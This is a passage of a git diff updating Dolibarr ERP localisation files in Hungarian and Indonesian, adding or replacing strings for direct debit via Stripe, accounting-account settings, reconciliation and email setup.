csoportos beszedési megbízás beállítása CreditTransferSetup=Átutalás beállítása @@ -42,6 +42,7 @@ CreditTransferStatistics=Hitelátutalási statisztikák Rejects=Elutasít LastWithdrawalReceipt=A legutóbbi %s csoportos beszedési megbízás bizonylata MakeWithdrawRequest=Közvetlen beszedési megbízás fizetési kérelem benyújtása +MakeWithdrawRequestStripe=Make a direct debit payment request via Stripe MakeBankTransferOrder=Átutalási kérelem benyújtása WithdrawRequestsDone=%s csoportos beszedési megbízás fizetési kérelmek rögzítve BankTransferRequestsDone=%s átutalási kérelem rögzítve @@ -100,8 +101,11 @@ CreditDate=Jóváírás be WithdrawalFileNotCapable=Nem sikerült létrehozni a visszavonási nyugta fájlt az Ön országához (%s) (az Ön országa nem támogatott) ShowWithdraw=Beszedési megbízás megjelenítése IfInvoiceNeedOnWithdrawPaymentWontBeClosed=Ha azonban a számlának van legalább egy csoportos beszedési megbízása, amelyet még nem dolgoztak fel, akkor azt nem állítja be kifizetettként, hogy lehetővé tegye a kifizetés előzetes kezelését. -DoStandingOrdersBeforePayments=Ez a lap lehetővé teszi csoportos beszedési megbízás kérését. Ha elkészült, lépjen be a Bank->Befizetés csoportos beszedési megbízással menübe a csoportos beszedési megbízás létrehozásához és kezeléséhez. A csoportos beszedési megbízás lezárásakor a számlák kifizetése automatikusan rögzítésre kerül, a számlák pedig lezárásra kerülnek, ha a befizetendő összeg nulla. -DoCreditTransferBeforePayments=Ezen a lapon átutalási megbízást kérhet. Ha elkészült, lépjen a Bank->Fizetés átutalással menübe az átutalási megbízás létrehozásához és kezeléséhez. Az átutalási megbízás lezárásakor a számlák kifizetése automatikusan rögzítésre kerül, a számlák pedig lezárásra kerülnek, ha a fennmaradó összeg nulla. +DoStandingOrdersBeforePayments=This tab allows you to request a direct debit payment order. Once done, you can go into menu "Bank->Payment by direct debit" to generate and manage a Direct debit order file. +DoStandingOrdersBeforePayments2=You can also send a request directly to a SEPA payment processor like Stripe, ... +DoStandingOrdersBeforePayments3=When direct debit order is closed, payment on invoices will be automatically recorded, and invoices closed if remainder to pay is null. +DoCreditTransferBeforePayments=This tab allows you to request a credit transfer order. Once done, go into menu "Bank->Payment by credit transfer" to generate and manage a Credit transfer order file. +DoCreditTransferBeforePayments3=When credit transfer order is closed, payment on invoices will be automatically recorded, and invoices closed if remainder to pay is null. WithdrawalFile=Beszedési megbízás fájl CreditTransferFile=Hitelátutalási fájl SetToStatusSent=Állítás "Fájl elküldve" állapotra @@ -118,7 +122,7 @@ WithdrawRequestErrorNilAmount=Nem lehet beszedési megbízást létrehozni üres SepaMandate=SEPA csoportos beszedési megbízás SepaMandateShort=SEPA megbízás PleaseReturnMandate=Kérjük, küldje vissza ezt a megbízási űrlapot e-mailben az %s címre vagy postai úton a következő címre: -SEPALegalText=E megbízási űrlap aláírásával felhatalmazza (A) %s-t, hogy utasításokat küldjön bankjának a számlája megterhelésére, és (B) bankja számára, hogy megterhelje számláját a %s utasításai szerint. Jogosultsága részeként jogosult a banktól visszatérítésre a bankjával kötött szerződés feltételei szerint. A fenti megbízással kapcsolatos jogait egy nyilatkozat ismerteti, amelyet bankjától szerezhet be. +SEPALegalText=By signing this mandate form, you authorize (A) %s and its payment service provider to send instructions to your bank to debit your account and (B) your bank to debit your account in accordance with the instructions from %s. As part of your rights, you are entitled to a refund from your bank under the terms and conditions of your agreement with your bank. Your rights regarding the above mandate are explained in a statement that you can obtain from your bank. CreditorIdentifier=Hitelező azonosítója CreditorName=Hitelező neve SEPAFillForm=(B) Kérjük, töltse ki az összes *-gal jelölt mezőt diff --git a/htdocs/langs/hu_HU/workflow.lang b/htdocs/langs/hu_HU/workflow.lang index d97d0f48f09..dc5632dab19 100644 --- a/htdocs/langs/hu_HU/workflow.lang +++ b/htdocs/langs/hu_HU/workflow.lang @@ -22,7 +22,7 @@ descWORKFLOW_INVOICE_AMOUNT_CLASSIFY_BILLED_SUPPLIER_ORDER=A kapcsolt forrás be descWORKFLOW_ORDER_CLASSIFY_RECEIVED_RECEPTION=A kapcsolt forrásból származó beszerzési rendelés besorolása beérkezettként, amikor egy fogadás érvényesül (és ha az összes fogadás által beérkezett mennyiség megegyezik a frissítendő beszerzési rendelésben szereplő mennyiséggel) descWORKFLOW_ORDER_CLASSIFY_RECEIVED_RECEPTION_CLOSED=A kapcsolt forrásból származó beszerzési rendelés besorolása a fogadás lezárásakor (és ha az összes fogadás által kapott mennyiség megegyezik a frissítendő beszerzési rendelésben szereplő mennyiséggel) # Autoclassify purchase invoice -descWORKFLOW_BILL_ON_RECEPTION=A kapcsolt szállítói rendelés érvényesítésekor a fogadásokat "számlázott" kategóriába sorolja +descWORKFLOW_EXPEDITION_CLASSIFY_CLOSED_INVOICE=Classify receptions to "billed" when a linked purchase invoice is validated (and if the amount of the invoice is the same as the total amount of the linked receptions) # Automatically link ticket to contract descWORKFLOW_TICKET_LINK_CONTRACT=Jegy létrehozásakor kapcsolja össze a megfelelő harmadik fél elérhető szerződéseit descWORKFLOW_TICKET_USE_PARENT_COMPANY_CONTRACTS=A szerződések összekapcsolásakor keressen az anyavállalatok szerződései között @@ -31,6 +31,6 @@ descWORKFLOW_TICKET_CLOSE_INTERVENTION=A jegyhez kapcsolódó összes beavatkoz AutomaticCreation=Automatikus létrehozás AutomaticClassification=Automatikus osztályozás # Autoclassify shipment -descWORKFLOW_SHIPPING_CLASSIFY_CLOSED_INVOICE=A kapcsolt forrásszállítmány besorolása lezártként, amikor az ügyfél számláját ellenőrizték +descWORKFLOW_SHIPPING_CLASSIFY_CLOSED_INVOICE=Classify linked source shipment as closed when customer invoice is validated (and if the amount of the invoice is the same as the total amount of the linked shipments) AutomaticClosing=Automatikus zárás AutomaticLinking=Automatikus összekapcsolás diff --git a/htdocs/langs/id_ID/accountancy.lang b/htdocs/langs/id_ID/accountancy.lang index a785c12bff2..3bd57c6f8ad 100644 --- a/htdocs/langs/id_ID/accountancy.lang +++ b/htdocs/langs/id_ID/accountancy.lang @@ -14,8 +14,8 @@ ACCOUNTING_EXPORT_ENDLINE=Pilih jenis pengembalian angkutan ACCOUNTING_EXPORT_PREFIX_SPEC=Tentukan awalan untuk nama file ThisService=Layanan ini ThisProduct=Produk ini -DefaultForService=Standar untuk Layanan -DefaultForProduct=Standar untuk Produk +DefaultForService=Default for services +DefaultForProduct=Default for products ProductForThisThirdparty=Produk untuk pihak ketiga ini ServiceForThisThirdparty=Layanan untuk pihak ketiga ini CantSuggest=Tidak bisa menyarankan @@ -48,8 +48,9 @@ CountriesNotInEEC=Negara bukan di EEC CountriesInEECExceptMe=Negara di EEC kecuali %s CountriesExceptMe=Semua negara kecuali %s AccountantFiles=Ekspor dokumen sumber -ExportAccountingSourceDocHelp=With this tool, you can export the source events (list in CSV and PDFs) that are used to generate your accountancy. +ExportAccountingSourceDocHelp=With this tool, you can search and export the source events that are used to generate your accountancy.
      The exported ZIP file will contain the lists of requested items in CSV, as well as their attached files in their original format (PDF, ODT, DOCX...). ExportAccountingSourceDocHelp2=Untuk mengekspor jurnal Anda, gunakan entri menu %s - %s. +ExportAccountingProjectHelp=Specify a project if you need an accounting report only for a specific project. Expense reports and loan payments are not included in project reports. VueByAccountAccounting=Lihat berdasarkan akun akuntansi VueBySubAccountAccounting=Lihat menurut sub-akun akuntansi @@ -58,6 +59,7 @@ MainAccountForSuppliersNotDefined=Akun akuntansi utama untuk vendor tidak ditent MainAccountForUsersNotDefined=Akun akuntansi utama untuk pengguna tidak ditentukan dalam pengaturan MainAccountForVatPaymentNotDefined=Akun akuntansi utama untuk pembayaran PPN tidak ditentukan dalam pengaturan MainAccountForSubscriptionPaymentNotDefined=Akun akuntansi utama untuk pembayaran berlangganan tidak ditentukan dalam pengaturan +UserAccountNotDefined=Accounting account for user not defined in setup AccountancyArea=Bidang akuntansi AccountancyAreaDescIntro=Penggunaan modul akuntansi dilakukan dalam beberapa langkah: @@ -99,7 +101,8 @@ ShowAccountingAccount=Tampilkan akun akuntansi ShowAccountingJournal=Tampilkan jurnal akuntansi ShowAccountingAccountInLedger=Tampilkan akun akuntansi dalam buku besar ShowAccountingAccountInJournals=Tampilkan akun akuntansi di jurnal -AccountAccountingSuggest=Akun akuntansi yang disarankan +DataUsedToSuggestAccount=Data used to suggest account +AccountAccountingSuggest=Account suggested MenuDefaultAccounts=Akun standar MenuBankAccounts=Akun bank MenuVatAccounts=Akun PPN @@ -124,6 +127,7 @@ WriteBookKeeping=Record transactions in accounting Bookkeeping=Buku Besar BookkeepingSubAccount=Subledger AccountBalance=Saldo akun +AccountBalanceSubAccount=Sub-accounts balance ObjectsRef=Referensi sumber objek CAHTF=Jumlah total pembelian vendor sebelum pajak TotalExpenseReport=Jumlah total laporan pengeluaran @@ -161,42 +165,47 @@ BANK_DISABLE_DIRECT_INPUT=Nonaktifkan pencatatan langsung transaksi di rekening ACCOUNTING_ENABLE_EXPORT_DRAFT_JOURNAL=Aktifkan konsep ekspor di jurnal ACCOUNTANCY_COMBO_FOR_AUX=Aktifkan daftar kombo untuk akun anak perusahaan (mungkin lambat jika Anda memiliki banyak pihak ketiga, hentikan kemampuan untuk mencari sebagian nilai) ACCOUNTING_DATE_START_BINDING=Tentukan tanggal untuk mulai mengikat & mentransfer akuntansi. Di bawah tanggal ini, transaksi tidak akan dialihkan ke akuntansi. -ACCOUNTING_DEFAULT_PERIOD_ON_TRANSFER=Pada transfer akuntansi, pilih periode yang ditampilkan secara default +ACCOUNTING_DEFAULT_PERIOD_ON_TRANSFER=On accountancy transfer, what is the period selected by default -ACCOUNTING_SELL_JOURNAL=Jurnal Penjualan -ACCOUNTING_PURCHASE_JOURNAL=Jurnal Pembelian -ACCOUNTING_MISCELLANEOUS_JOURNAL=Jurnal lain-lain +ACCOUNTING_SELL_JOURNAL=Sales journal (sales and returns) +ACCOUNTING_PURCHASE_JOURNAL=Purchase journal (purchase and returns) +ACCOUNTING_BANK_JOURNAL=Cash journal (receipts and disbursements) ACCOUNTING_EXPENSEREPORT_JOURNAL=Expense report journal -ACCOUNTING_SOCIAL_JOURNAL=Jurnal Sosial +ACCOUNTING_MISCELLANEOUS_JOURNAL=General journal ACCOUNTING_HAS_NEW_JOURNAL=Memiliki Jurnal baru +ACCOUNTING_INVENTORY_JOURNAL=Inventory journal +ACCOUNTING_SOCIAL_JOURNAL=Jurnal Sosial ACCOUNTING_RESULT_PROFIT=Akun akuntansi hasil (Laba) ACCOUNTING_RESULT_LOSS=Hasil akun akuntansi (Rugi) ACCOUNTING_CLOSURE_DEFAULT_JOURNAL=Jurnal penutupan -ACCOUNTING_ACCOUNT_TRANSFER_CASH=Akun akuntansi transfer bank transisi +ACCOUNTING_ACCOUNT_TRANSFER_CASH=Account (from the Chart Of Account) to be used as the account for transitional bank transfers TransitionalAccount=Rekening transfer bank transisi -ACCOUNTING_ACCOUNT_SUSPENSE=Akun akuntansi tunggu -DONATION_ACCOUNTINGACCOUNT=Akun akuntansi untuk mendaftarkan sumbangan -ADHERENT_SUBSCRIPTION_ACCOUNTINGACCOUNT=Akun akuntansi untuk mendaftar langganan +ACCOUNTING_ACCOUNT_SUSPENSE=Account (from the Chart Of Account) to be used as the account for unallocated funds either received or paid i.e. funds in "wait[ing]" +DONATION_ACCOUNTINGACCOUNT=Account (from the Chart Of Account) to be used to register donations (Donation module) +ADHERENT_SUBSCRIPTION_ACCOUNTINGACCOUNT=Account (from the Chart Of Account) to be used to register memberships subscriptions (Membership module - if membership recorded without invoice) -ACCOUNTING_ACCOUNT_CUSTOMER_DEPOSIT=Akun akuntansi secara default untuk mendaftarkan deposit pelanggan -UseAuxiliaryAccountOnCustomerDeposit=Use sub-accounts on customer deposit lines +ACCOUNTING_ACCOUNT_CUSTOMER_DEPOSIT=Account (from the Chart Of Account) to be used as the default account to register customer deposit +UseAuxiliaryAccountOnCustomerDeposit=Store customer account as individual account in subsidiary ledger for lines of down payments (if disabled, individual account for down payment lines will remain empty) +ACCOUNTING_ACCOUNT_SUPPLIER_DEPOSIT=Account (from the Chart Of Account) to be used as the default +UseAuxiliaryAccountOnSupplierDeposit=Store supplier account as individual account in subsidiary ledger for lines of down payments (if disabled, individual account for down payment lines will remain empty) +ACCOUNTING_ACCOUNT_CUSTOMER_RETAINED_WARRANTY=Accounting account by default to register customer retained warranty -ACCOUNTING_PRODUCT_BUY_ACCOUNT=Akun akuntansi secara default untuk produk yang dibeli (digunakan jika tidak didefinisikan dalam lembar produk) -ACCOUNTING_PRODUCT_BUY_INTRA_ACCOUNT=Akun akuntansi secara default untuk produk yang dibeli di EEC (digunakan jika tidak didefinisikan dalam lembar produk) -ACCOUNTING_PRODUCT_BUY_EXPORT_ACCOUNT=Akun akuntansi secara default untuk produk yang dibeli dan diimpor dari EEC (digunakan jika tidak didefinisikan dalam lembar produk) -ACCOUNTING_PRODUCT_SOLD_ACCOUNT=Akun akuntansi secara default untuk produk yang dijual (digunakan jika tidak didefinisikan dalam lembar produk) -ACCOUNTING_PRODUCT_SOLD_INTRA_ACCOUNT=Akun akuntansi secara default untuk produk yang dijual di EEC (digunakan jika tidak didefinisikan dalam lembar produk) -ACCOUNTING_PRODUCT_SOLD_EXPORT_ACCOUNT=Akun akuntansi secara default untuk produk yang dijual dan diekspor dari EEC (digunakan jika tidak didefinisikan dalam lembar produk) +ACCOUNTING_PRODUCT_BUY_ACCOUNT=Account (from the Chart Of Account) to be used as the default account for the products purchased within same country (used if not defined in the product sheet) +ACCOUNTING_PRODUCT_BUY_INTRA_ACCOUNT=Account (from the Chart Of Account) to be used as the default account for the products purchased from EEC to another EEC country (used if not defined in the product sheet) +ACCOUNTING_PRODUCT_BUY_EXPORT_ACCOUNT=Account (from the Chart Of Account) to be used as the default account for the products purchased and imported from any other foreign country (used if not defined in the product sheet) +ACCOUNTING_PRODUCT_SOLD_ACCOUNT=Account (from the Chart Of Account) to be used as the default account for the sold products (used if not defined in the product sheet) +ACCOUNTING_PRODUCT_SOLD_INTRA_ACCOUNT=Account (from the Chart Of Account) to be used as the default account for the products sold from EEC to another EEC country (used if not defined in the product sheet) +ACCOUNTING_PRODUCT_SOLD_EXPORT_ACCOUNT=Account (from the Chart Of Account) to be used as the default account for the products sold and exported to any other foreign country (used if not defined in the product sheet) -ACCOUNTING_SERVICE_BUY_ACCOUNT=Akun akuntansi secara default untuk layanan yang dibeli (digunakan jika tidak didefinisikan dalam lembar layanan) -ACCOUNTING_SERVICE_BUY_INTRA_ACCOUNT=Akun akuntansi secara default untuk layanan yang dibeli di EEC (digunakan jika tidak didefinisikan dalam lembar layanan) -ACCOUNTING_SERVICE_BUY_EXPORT_ACCOUNT=Akun akuntansi secara default untuk layanan yang dibeli dan diimpor dari EEC (digunakan jika tidak didefinisikan dalam lembar layanan) -ACCOUNTING_SERVICE_SOLD_ACCOUNT=Akun akuntansi secara default untuk layanan yang dijual (digunakan jika tidak didefinisikan dalam lembar layanan) -ACCOUNTING_SERVICE_SOLD_INTRA_ACCOUNT=Akun akuntansi secara default untuk layanan yang dijual di EEC (digunakan jika tidak didefinisikan dalam lembar layanan) -ACCOUNTING_SERVICE_SOLD_EXPORT_ACCOUNT=Akun akuntansi secara default untuk layanan yang dijual dan diekspor dari EEC (digunakan jika tidak didefinisikan dalam lembar layanan) +ACCOUNTING_SERVICE_BUY_ACCOUNT=Account (from the Chart Of Account) to be used as the default account for the services purchased within same country (used if not defined in the service sheet) +ACCOUNTING_SERVICE_BUY_INTRA_ACCOUNT=Account (from the Chart Of Account) to be used as the default account for the services purchased from EEC to another EEC country (used if not defined in the service sheet) +ACCOUNTING_SERVICE_BUY_EXPORT_ACCOUNT=Account (from the Chart Of Account) to be used as the default account for the services purchased and imported from other foreign country (used if not defined in the service sheet) +ACCOUNTING_SERVICE_SOLD_ACCOUNT=Account (from the Chart Of Account) to be used as the default account for the sold services (used if not defined in the service sheet) +ACCOUNTING_SERVICE_SOLD_INTRA_ACCOUNT=Account (from the Chart Of Account) to be used as the default account for the services sold from EEC to another EEC country (used if not defined in the service sheet) +ACCOUNTING_SERVICE_SOLD_EXPORT_ACCOUNT=Account (from the Chart Of Account) to be used as the default account for the services sold and exported to any other foreign country (used if not defined in the service sheet) Doctype=Tipe Dokumen Docdate=Tanggal @@ -211,7 +220,8 @@ Codejournal=Jurnal JournalLabel=Label jurnal NumPiece=Jumlah potongan TransactionNumShort=Tidak. transaksi -AccountingCategory=Grup khusus +AccountingCategory=Custom group of accounts +AccountingCategories=Custom groups of accounts GroupByAccountAccounting=Kelompokkan menurut akun buku besar GroupBySubAccountAccounting=Kelompokkan menurut akun subledger AccountingAccountGroupsDesc=Anda dapat mendefinisikan di sini beberapa grup akun akuntansi. Mereka akan digunakan untuk laporan akuntansi yang dipersonalisasi. @@ -259,19 +269,20 @@ ShowSubtotalByGroup=Tunjukkan subtotal menurut level Pcgtype=Grup akun PcgtypeDesc=Grup akun digunakan sebagai kriteria 'filter' dan 'pengelompokan' yang telah ditentukan sebelumnya untuk beberapa laporan akuntansi. Misalnya, 'PENGHASILAN' atau 'BEBAN' digunakan sebagai grup untuk akun akuntansi produk untuk membangun laporan pengeluaran / pendapatan. +AccountingCategoriesDesc=Custom group of accounts can be used to group accounting accounts into one name to ease filter use or building of custom reports. Reconcilable=Dapat didamaikan TotalVente=Total turnover before tax TotalMarge=Total margin penjualan -DescVentilCustomer=Konsultasikan di sini daftar garis faktur pelanggan yang terikat (atau tidak) ke akun akuntansi produk -DescVentilMore=Dalam kebanyakan kasus, jika Anda menggunakan produk atau layanan yang telah ditentukan dan Anda menetapkan nomor akun pada kartu produk / layanan, aplikasi akan dapat membuat semua ikatan antara jalur faktur Anda dan akun akuntansi dari bagan akun Anda, hanya di satu klik dengan tombol"%s" . Jika akun tidak ditetapkan pada kartu produk / layanan atau jika Anda masih memiliki beberapa jalur yang tidak terikat ke akun, Anda harus membuat pengikatan manual dari menu " %s ". -DescVentilDoneCustomer=Konsultasikan di sini daftar jalur faktur pelanggan dan akun akuntansi produk mereka -DescVentilTodoCustomer=Ikat garis faktur yang belum terikat dengan akun akuntansi produk -ChangeAccount=Ubah akun akuntansi produk / layanan untuk jalur yang dipilih dengan akun akuntansi berikut: +DescVentilCustomer=Consult here the list of customer invoice lines bound (or not) to a product account from chart of account +DescVentilMore=In most cases, if you use predefined products or services and you set the account (from chart of account) on the product/service card, the application will be able to make all the binding between your invoice lines and the accounting account of your chart of accounts, just in one click with the button "%s". If account was not set on product/service cards or if you still have some lines not bound to an account, you will have to make a manual binding from the menu "%s". +DescVentilDoneCustomer=Consult here the list of the lines of invoices customers and their product account from chart of account +DescVentilTodoCustomer=Bind invoice lines not already bound with a product account from chart of account +ChangeAccount=Change the product/service account (from chart of account) for the selected lines with the following account: Vide=- -DescVentilSupplier=Konsultasikan di sini daftar garis faktur vendor terikat atau belum terikat ke akun akuntansi produk (hanya catatan yang belum ditransfer dalam akuntansi yang terlihat) +DescVentilSupplier=Consult here the list of vendor invoice lines bound or not yet bound to a product account from chart of account (only record not already transfered in accountancy are visible) DescVentilDoneSupplier=Konsultasikan di sini daftar garis faktur vendor dan akun akuntingnya DescVentilTodoExpenseReport=Bind garis laporan pengeluaran belum terikat dengan akun akuntansi biaya DescVentilExpenseReport=Konsultasikan di sini daftar garis laporan pengeluaran yang terikat (atau tidak) ke akun akuntansi biaya @@ -279,24 +290,25 @@ DescVentilExpenseReportMore=Jika Anda mengatur akun akuntansi pada jenis garis l DescVentilDoneExpenseReport=Konsultasikan di sini daftar garis laporan pengeluaran dan akun akuntansi biayanya Closure=Penutupan tahunan -DescClosure=Consult here the number of movements by month who are not yet validated & locked +DescClosure=Consult here the number of movements by month not yet validated & locked OverviewOfMovementsNotValidated=Overview of movements not validated and locked AllMovementsWereRecordedAsValidated=All movements were recorded as validated and locked NotAllMovementsCouldBeRecordedAsValidated=Not all movements could be recorded as validated and locked -ValidateMovements=Validate and lock record... +ValidateMovements=Validate and lock movements... DescValidateMovements=Setiap modifikasi atau penghapusan tulisan, huruf dan penghapusan akan dilarang. Semua entri untuk latihan harus divalidasi jika tidak, penutupan tidak akan mungkin ValidateHistory=Mengikat Secara Otomatis AutomaticBindingDone=Automatic bindings done (%s) - Automatic binding not possible for some record (%s) +DoManualBindingForFailedRecord=You have to do a manual link for the %s row(s) not linked automatically. -ErrorAccountancyCodeIsAlreadyUse=Kesalahan, Anda tidak dapat menghapus akun akuntansi ini karena digunakan +ErrorAccountancyCodeIsAlreadyUse=Error, you cannot remove or disable this account of chart of account because it is used MvtNotCorrectlyBalanced=Movement not correctly balanced. Debit = %s & Credit = %s Balancing=Menyeimbangkan FicheVentilation=Binding card GeneralLedgerIsWritten=Transaksi ditulis dalam Buku Besar GeneralLedgerSomeRecordWasNotRecorded=Beberapa transaksi tidak dapat dijurnal. Jika tidak ada pesan kesalahan lain, ini mungkin karena mereka sudah dijurnal. NoNewRecordSaved=No more record to transfer -ListOfProductsWithoutAccountingAccount=Daftar produk yang tidak terikat ke akun akuntansi apa pun +ListOfProductsWithoutAccountingAccount=List of products not bound to any account of chart of account ChangeBinding=Ubah ikatannya Accounted=Disumbang dalam buku besar NotYetAccounted=Not yet transferred to accounting @@ -319,9 +331,10 @@ AccountingJournalType1=Operasi lain-lain AccountingJournalType2=Penjualan AccountingJournalType3=Pembelian AccountingJournalType4=Bank -AccountingJournalType5=Laporan biaya +AccountingJournalType5=Expense reports AccountingJournalType8=Inventaris AccountingJournalType9=Baru +GenerationOfAccountingEntries=Generation of accounting entries ErrorAccountingJournalIsAlreadyUse=Jurnal ini sudah digunakan AccountingAccountForSalesTaxAreDefinedInto=Catatan: Akun akuntansi untuk Pajak penjualan didefinisikan ke dalam menu%s-%s NumberOfAccountancyEntries=Jumlah entri @@ -329,10 +342,14 @@ NumberOfAccountancyMovements=Jumlah gerakan ACCOUNTING_DISABLE_BINDING_ON_SALES=Nonaktifkan pengikatan & transfer akuntansi pada penjualan (faktur pelanggan tidak akan diperhitungkan dalam akuntansi) ACCOUNTING_DISABLE_BINDING_ON_PURCHASES=Nonaktifkan pengikatan & transfer akuntansi pada pembelian (faktur vendor tidak akan diperhitungkan dalam akuntansi) ACCOUNTING_DISABLE_BINDING_ON_EXPENSEREPORTS=Nonaktifkan pengikatan & transfer akuntansi pada laporan pengeluaran (laporan pengeluaran tidak akan diperhitungkan dalam akuntansi) +ACCOUNTING_ENABLE_LETTERING=Enable the lettering function in the accounting +ACCOUNTING_ENABLE_AUTOLETTERING=Enable the automatic lettering when transferring to accounting ## Export +NotExportLettering=Do not export the lettering when generating the file NotifiedExportDate=Flag exported lines as Exported (to modify a line, you will need to delete the whole transaction and re-transfert it into accounting) -NotifiedValidationDate=Validate and Lock the exported entries (same effect than the "Closure" feature, modification and deletion of the lines will DEFINITELY not be possible) +NotifiedValidationDate=Validate and Lock the exported entries (same effect than the "%s" feature, modification and deletion of the lines will DEFINITELY not be possible) +NotifiedExportFull=Export documents ? DateValidationAndLock=Date validation and lock ConfirmExportFile=Konfirmasi pembuatan file ekspor akuntansi? ExportDraftJournal=Ekspor draft jurnal @@ -389,7 +406,7 @@ SaleLocal=Penjualan lokal SaleExport=Penjualan ekspor SaleEEC=Dijual dalam EEC SaleEECWithVAT=Dijual dalam EEC dengan PPN bukan nol, jadi kami mengira ini BUKAN penjualan intracommunautary dan akun yang disarankan adalah akun produk standar. -SaleEECWithoutVATNumber=Dijual dalam EEC tanpa PPN tetapi ID PPN pihak ketiga tidak ditentukan. Kami mundur pada akun produk untuk penjualan standar. Anda dapat memperbaiki ID PPN pihak ketiga atau akun produk jika diperlukan. +SaleEECWithoutVATNumber=Sale in EEC with no VAT but the VAT ID of thirdparty is not defined. We fall back on the account for standard sales. You can fix the VAT ID of the thirdparty, or change the product account suggested for binding if needed. ForbiddenTransactionAlreadyExported=Forbidden: The transaction has been validated and/or exported. ForbiddenTransactionAlreadyValidated=Forbidden: The transaction has been validated. ## Dictionary @@ -398,7 +415,11 @@ Calculated=Terhitung Formula=Rumus ## Reconcile +LetteringAuto=Reconcile auto +LetteringManual=Reconcile manual Unlettering=Unreconcile +UnletteringAuto=Unreconcile auto +UnletteringManual=Unreconcile manual AccountancyNoLetteringModified=No reconcile modified AccountancyOneLetteringModifiedSuccessfully=One reconcile successfully modified AccountancyLetteringModifiedSuccessfully=%s reconcile successfully modified @@ -407,8 +428,9 @@ AccountancyOneUnletteringModifiedSuccessfully=One unreconcile successfully modif AccountancyUnletteringModifiedSuccessfully=%s unreconcile successfully modified ## Confirm box -ConfirmMassUnlettering=Bulk Unreconcile confirmation -ConfirmMassUnletteringQuestion=Are you sure you want to Unreconcile the %s selected record(s)? +ConfirmMassUnletteringAuto=Bulk auto unreconcile confirmation +ConfirmMassUnletteringManual=Bulk manual unreconcile confirmation +ConfirmMassUnletteringQuestion=Are you sure you want to unreconcile the %s selected record(s)? ConfirmMassDeleteBookkeepingWriting=Bulk Delete confirmation ConfirmMassDeleteBookkeepingWritingQuestion=This will delete the transaction from the accounting (all lines related to the same transaction will be deleted) Are you sure you want to delete the %s selected record(s)? @@ -427,6 +449,8 @@ SorryThisModuleIsNotCompatibleWithTheExperimentalFeatureOfSituationInvoices=Sorr AccountancyErrorMismatchLetterCode=Mismatch in reconcile code AccountancyErrorMismatchBalanceAmount=The balance (%s) is not equal to 0 AccountancyErrorLetteringBookkeeping=Errors have occurred concerning the transactions: %s +ErrorAccountNumberAlreadyExists=The accounting number %s already exists +ErrorArchiveAddFile=Can't put "%s" file in archive ## Import ImportAccountingEntries=Entri akuntansi @@ -453,6 +477,7 @@ FECFormatMulticurrencyCode=Kode multi mata uang (Idevise) DateExport=Tanggal ekspor WarningReportNotReliable=Peringatan, laporan ini tidak didasarkan pada Buku Besar, jadi tidak mengandung transaksi yang dimodifikasi secara manual di Buku Besar. Jika jurnal Anda sudah mutakhir, tampilan pembukuan lebih akurat. ExpenseReportJournal=Jurnal Laporan Biaya -InventoryJournal=Jurnal Persediaan +DocsAlreadyExportedAreExcluded=Docs already exported are excluded +ClickToHideAlreadyExportedLines=Click to hide already exported lines NAccounts=akun %s diff --git a/htdocs/langs/id_ID/admin.lang b/htdocs/langs/id_ID/admin.lang index a8b7aff6e9b..1f71ef1aec4 100644 --- a/htdocs/langs/id_ID/admin.lang +++ b/htdocs/langs/id_ID/admin.lang @@ -51,8 +51,6 @@ ClientSortingCharset=Pemeriksaan klien WarningModuleNotActive=Modul %s harus diaktifkan WarningOnlyPermissionOfActivatedModules=Hanya perizinan yang berkenaan dengan modul yang diaktifkan yang ditampilkan disini. Anda bisa mengaktifkan modul lain didalam Home->Pengaturan->Halaman Modul. DolibarrSetup=Install atau perbaharui Dolibarr -InternalUser=Pengguna internal -ExternalUser=Pengguna eksternal InternalUsers=Pengguna internal ExternalUsers=Pengguna eksternal UserInterface=Antarmuka pengguna @@ -147,6 +145,7 @@ Box=Widget Boxes=Widget MaxNbOfLinesForBoxes=Maks. jumlah baris untuk widget AllWidgetsWereEnabled=Semua widget yang tersedia diaktifkan +WidgetAvailable=Widget available PositionByDefault=Pesanan Standar Position=Posisi MenusDesc=Manajer menu mengatur konten dari dua bilah menu (horizontal dan vertikal). @@ -294,6 +293,7 @@ MAIN_MAIL_SMTP_SERVER=Host SMTP / SMTPS (nilai default di php.ini:%s ) MAIN_MAIL_SMTP_PORT_NotAvailableOnLinuxLike=Port SMTP / SMTPS (Tidak didefinisikan ke dalam PHP pada sistem mirip Unix) MAIN_MAIL_SMTP_SERVER_NotAvailableOnLinuxLike=SMTP / SMTPS Host (Tidak didefinisikan ke dalam PHP pada sistem mirip Unix) MAIN_MAIL_EMAIL_FROM=Email pengirim untuk email otomatis (nilai default di php.ini:%s ) +EMailHelpMsgSPFDKIM=To prevent Dolibarr emails to be classified as spam, make sure that the server is authorized to send e-mails from this address by SPF and DKIM configuration MAIN_MAIL_ERRORS_TO=Email yang digunakan untuk email pengembalian kesalahan (baris 'Kesalahan-Ke' dalam email terkirim) MAIN_MAIL_AUTOCOPY_TO= Salin (Bcc) semua email yang dikirim ke MAIN_DISABLE_ALL_MAILS=Nonaktifkan semua pengiriman email (untuk tujuan pengujian atau demo) @@ -375,7 +375,7 @@ DoTestSendHTML=Mencoba Mengirim HTML ErrorCantUseRazIfNoYearInMask=Kesalahan, tidak dapat menggunakan opsi @ untuk mengatur ulang penghitung setiap tahun jika urutan {yy} atau {yyyy} tidak ada di mask. ErrorCantUseRazInStartedYearIfNoYearMonthInMask=Kesalahan, tidak dapat menggunakan opsi @ jika urutan {yy} {mm} atau {yyyy} {mm} tidak ada di mask. UMask=Parameter UMask untuk file baru di sistem file Unix / Linux / BSD / Mac. -UMaskExplanation=Parameter ini memungkinkan Anda untuk menetapkan izin yang ditetapkan secara default pada file yang dibuat oleh Dolibarr di server (misalnya saat mengunggah).
      Itu harus nilai oktal (misalnya, 0666 berarti membaca dan menulis untuk semua orang).
      Parameter ini tidak berguna di server Windows. +UMaskExplanation=This parameter allow you to define permissions set by default on files created by Dolibarr on server (during upload for example).
      It must be the octal value (for example, 0666 means read and write for everyone.). Recommended value is 0600 or 0660
